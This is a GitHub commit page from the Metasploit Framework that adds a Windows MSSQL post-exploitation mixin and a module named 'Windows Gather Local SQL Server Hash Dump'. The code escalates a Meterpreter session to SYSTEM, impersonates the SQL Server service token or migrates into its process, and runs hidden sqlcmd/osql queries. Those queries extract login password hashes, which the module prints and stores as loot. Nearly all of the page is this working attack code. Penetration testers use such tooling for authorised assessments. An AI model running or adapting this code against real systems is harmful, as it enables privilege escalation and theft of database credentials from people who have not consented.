Skip to content

Commit 8b622fb

Browse files
committed
Land rapid7#4822, grab MSSQL hashdump a la mssql_local_auth_bypass
2 parents ef8c0aa + 9eca3a0 commit 8b622fb

File tree

4 files changed

+942
-388
lines changed

4 files changed

+942
-388
lines changed

lib/msf/core/post/windows/mssql.rb

Lines changed: 210 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,210 @@
1+
# -*- coding: binary -*-
2+
require 'msf/core/post/windows/services'
3+
require 'msf/core/post/windows/priv'
4+
require 'msf/core/exploit/mssql_commands'
5+
6+
module Msf
7+
class Post
8+
module Windows
9+
module MSSQL
10+
11+
# @return [String, nil] contains the identified SQL command line client
12+
attr_accessor :sql_client
13+
14+
include Msf::Exploit::Remote::MSSQL_COMMANDS
15+
include Msf::Post::Windows::Services
16+
include Msf::Post::Windows::Priv
17+
18+
# Identifies the Windows Service matching the SQL Server instance name
19+
#
20+
# @param [String] instance the SQL Server instance name to locate
21+
# @return [Hash, nil] the Windows Service instance
22+
def check_for_sqlserver(instance = nil)
23+
target_service = nil
24+
each_service do |service|
25+
if instance.to_s.strip.empty?
26+
# Target default instance
27+
if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i &&
28+
service[:display] !~ /OLAPService|ADHelper/i &&
29+
service[:pid].to_i > 0
30+
31+
target_service = service
32+
break
33+
end
34+
else
35+
if (
36+
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
37+
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
38+
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
39+
service[:display].downcase == instance.downcase # If the user gets very specific
40+
) &&
41+
service[:display] !~ /OLAPService|ADHelper/i &&
42+
service[:pid].to_i > 0
43+
target_service = service
44+
break
45+
end
46+
end
47+
end
48+
49+
if target_service
50+
target_service.merge!(service_info(target_service[:name]))
51+
end
52+
53+
target_service
54+
end
55+
56+
# Identifies a valid SQL Server command line client on the host and sets
57+
# @sql_client
58+
#
59+
# @see #sql_client
60+
# @return [String, nil] the SQL command line client
61+
def get_sql_client
62+
client = nil
63+
64+
if check_sqlcmd
65+
client = 'sqlcmd'
66+
elsif check_osql
67+
client = 'osql'
68+
end
69+
70+
@sql_client = client
71+
client
72+
end
73+
74+
# Attempts to run the osql command line tool
75+
#
76+
# @return [Boolean] true if osql is present
77+
def check_osql
78+
result = run_cmd('osql -?')
79+
result =~ /(SQL Server Command Line Tool)|(usage: osql)/i
80+
end
81+
82+
# Attempts to run the sqlcmd command line tool
83+
#
84+
# @return [Boolean] true if sqlcmd is present
85+
def check_sqlcmd
86+
result = run_cmd('sqlcmd -?')
87+
result =~ /SQL Server Command Line Tool/i
88+
end
89+
90+
# Runs a SQL query using the identified command line tool
91+
#
92+
# @param [String] query the query to execute
93+
# @param [String] instance the SQL instance to target
94+
# @param [String] server the SQL server to target
95+
# @return [String] the result of query
96+
def run_sql(query, instance = nil, server = '.')
97+
target = server
98+
if instance && instance.downcase != 'mssqlserver'
99+
target = "#{server}\\#{instance}"
100+
end
101+
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
102+
vprint_status(cmd)
103+
run_cmd(cmd)
104+
end
105+
106+
# Executes a hidden command
107+
#
108+
# @param [String] cmd the command line to execute
109+
# @param [Boolean] token use the current thread token
110+
# @return [String] the results from the command
111+
#
112+
# @note This may fail as SYSTEM if the current process
113+
# doesn't have sufficient privileges to duplicate a token,
114+
# e.g. SeAssignPrimaryToken
115+
def run_cmd(cmd, token = true)
116+
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
117+
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
118+
res = ""
119+
while (d = process.channel.read)
120+
break if d == ""
121+
res << d
122+
end
123+
process.channel.close
124+
process.close
125+
126+
res
127+
end
128+
129+
# Attempts to impersonate the user of the supplied service
130+
# If the process has the appropriate privileges it will attempt to
131+
# steal a token to impersonate, otherwise it will attempt to migrate
132+
# into the service process.
133+
#
134+
# @note This may cause the meterpreter session to migrate!
135+
#
136+
# @param [Hash] service the service to target
137+
# @return [Boolean] true if impersonated successfully
138+
def impersonate_sql_user(service)
139+
return false if service.nil? || service[:pid].nil? || service[:pid] <= 0
140+
141+
pid = service[:pid]
142+
vprint_status("Current user: #{session.sys.config.getuid}")
143+
current_privs = client.sys.config.getprivs
144+
if current_privs.include?('SeImpersonatePrivilege') ||
145+
current_privs.include?('SeTcbPrivilege') ||
146+
current_privs.include?('SeAssignPrimaryTokenPrivilege')
147+
username = nil
148+
session.sys.process.each_process do |process|
149+
if process['pid'] == pid
150+
username = process['user']
151+
break
152+
end
153+
end
154+
155+
return false unless username
156+
157+
session.core.use('incognito') unless session.incognito
158+
vprint_status("Attemping to impersonate user: #{username}")
159+
res = session.incognito.incognito_impersonate_token(username)
160+
161+
if res =~ /Successfully/i
162+
print_good("Impersonated user: #{username}")
163+
return true
164+
else
165+
return false
166+
end
167+
else
168+
# Attempt to migrate to target sqlservr.exe process
169+
# Migrating works, but I can't rev2self after its complete
170+
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
171+
begin
172+
session.core.migrate(pid)
173+
rescue Rex::RuntimeError => e
174+
print_error(e.to_s)
175+
return false
176+
end
177+
178+
vprint_status("Current user: #{session.sys.config.getuid}")
179+
print_good("Successfully migrated to sqlservr.exe process #{pid}")
180+
end
181+
182+
true
183+
end
184+
185+
# Attempts to escalate the meterpreter session to SYSTEM
186+
#
187+
# @return [Boolean] true if escalated successfully or user is already SYSTEM
188+
def get_system
189+
print_status("Checking if user is SYSTEM...")
190+
191+
if is_system?
192+
print_good("User is SYSTEM")
193+
return true
194+
else
195+
# Attempt to get LocalSystem privileges
196+
print_warning("Attempting to get SYSTEM privileges...")
197+
system_status = session.priv.getsystem
198+
if system_status && system_status.first
199+
print_good("Success, user is now SYSTEM")
200+
return true
201+
else
202+
print_error("Unable to obtained SYSTEM privileges")
203+
return false
204+
end
205+
end
206+
end
207+
end # MSSQL
208+
end # Windows
209+
end # Post
210+
end # Msf
Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/auxiliary/report'
9+
require 'msf/core/post/windows/mssql'
10+
11+
12+
class Metasploit3 < Msf::Post
13+
include Msf::Auxiliary::Report
14+
include Msf::Post::Windows::MSSQL
15+
16+
def initialize(info={})
17+
super( update_info( info,
18+
'Name' => 'Windows Gather Local SQL Server Hash Dump',
19+
'Description' => %q{ This module extracts the usernames and password
20+
hashes from a MSSQL server and stores them in the loot using the
21+
same technique in mssql_local_auth_bypass (Credits: Scott Sutherland)
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [ 'Mike Manzotti <mike.manzotti[at]dionach.com>'],
25+
'Platform' => [ 'win' ],
26+
'SessionTypes' => [ 'meterpreter' ]
27+
))
28+
29+
register_options(
30+
[
31+
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
32+
], self.class)
33+
end
34+
35+
def run
36+
# Set instance name (if specified)
37+
instance = datastore['INSTANCE'].to_s
38+
39+
# Display target
40+
print_status("Running module against #{sysinfo['Computer']}")
41+
42+
# Identify available native SQL client
43+
get_sql_client
44+
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
45+
46+
# Get LocalSystem privileges
47+
system_status = get_system
48+
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
49+
50+
begin
51+
service = check_for_sqlserver(instance)
52+
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
53+
54+
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
55+
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
56+
57+
begin
58+
get_sql_hash(instance_name)
59+
rescue RuntimeError
60+
# Attempt to impersonate sql server service account (for sql server 2012)
61+
if impersonate_sql_user(service)
62+
get_sql_hash(instance_name)
63+
end
64+
end
65+
ensure
66+
# return to original priv context
67+
session.sys.config.revert_to_self
68+
end
69+
end
70+
71+
def get_sql_version(instance_name)
72+
vprint_status("Attempting to get version...")
73+
74+
query = mssql_sql_info
75+
76+
get_version_result = run_sql(query, instance_name)
77+
78+
# Parse Data
79+
get_version_array = get_version_result.split("\n")
80+
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
81+
if version_year
82+
vprint_status("MSSQL version found: #{version_year}")
83+
return version_year
84+
else
85+
vprint_error("MSSQL version not found")
86+
end
87+
end
88+
89+
def get_sql_hash(instance_name)
90+
version_year = get_sql_version(instance_name)
91+
92+
case version_year
93+
when "2000"
94+
hash_type = "mssql"
95+
query = mssql_2k_password_hashes
96+
when "2005", "2008"
97+
hash_type = "mssql05"
98+
query = mssql_2k5_password_hashes
99+
when "2012", "2014"
100+
hash_type = "mssql12"
101+
query = mssql_2k5_password_hashes
102+
else
103+
fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version")
104+
end
105+
106+
print_status("Attempting to get password hashes...")
107+
108+
get_hash_result = run_sql(query, instance_name)
109+
110+
if get_hash_result.include?('0x')
111+
# Parse Data
112+
hash_array = get_hash_result.split("\r\n").grep(/0x/)
113+
114+
store_hashes(hash_array, hash_type)
115+
else
116+
fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes")
117+
end
118+
end
119+
120+
def store_hashes(hash_array, hash_type)
121+
# Save data
122+
loot_hashes = ""
123+
hash_array.each do |row|
124+
user, hash = row.strip.split
125+
126+
service_data = {
127+
address: rhost,
128+
port: rport,
129+
service_name: 'mssql',
130+
protocol: 'tcp',
131+
workspace_id: myworkspace_id
132+
}
133+
134+
# Initialize Metasploit::Credential::Core object
135+
credential_data = {
136+
post_reference_name: refname,
137+
origin_type: :session,
138+
private_type: :nonreplayable_hash,
139+
private_data: hash,
140+
username: user,
141+
session_id: session_db_id,
142+
jtr_format: hash_type,
143+
workspace_id: myworkspace_id
144+
}
145+
146+
credential_data.merge!(service_data)
147+
148+
# Create the Metasploit::Credential::Core object
149+
credential_core = create_credential(credential_data)
150+
151+
# Assemble the options hash for creating the Metasploit::Credential::Login object
152+
login_data = {
153+
core: credential_core,
154+
status: Metasploit::Model::Login::Status::UNTRIED
155+
}
156+
157+
# Merge in the service data and create our Login
158+
login_data.merge!(service_data)
159+
create_credential_login(login_data)
160+
161+
print_line("#{user}:#{hash}")
162+
163+
loot_hashes << "#{user}:#{hash}\n"
164+
end
165+
166+
unless loot_hashes.empty?
167+
# Store MSSQL password hash as loot
168+
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
169+
print_good("MSSQL password hash saved in: #{loot_path}")
170+
return true
171+
else
172+
return false
173+
end
174+
end
175+
176+
end

0 commit comments

Comments
 (0)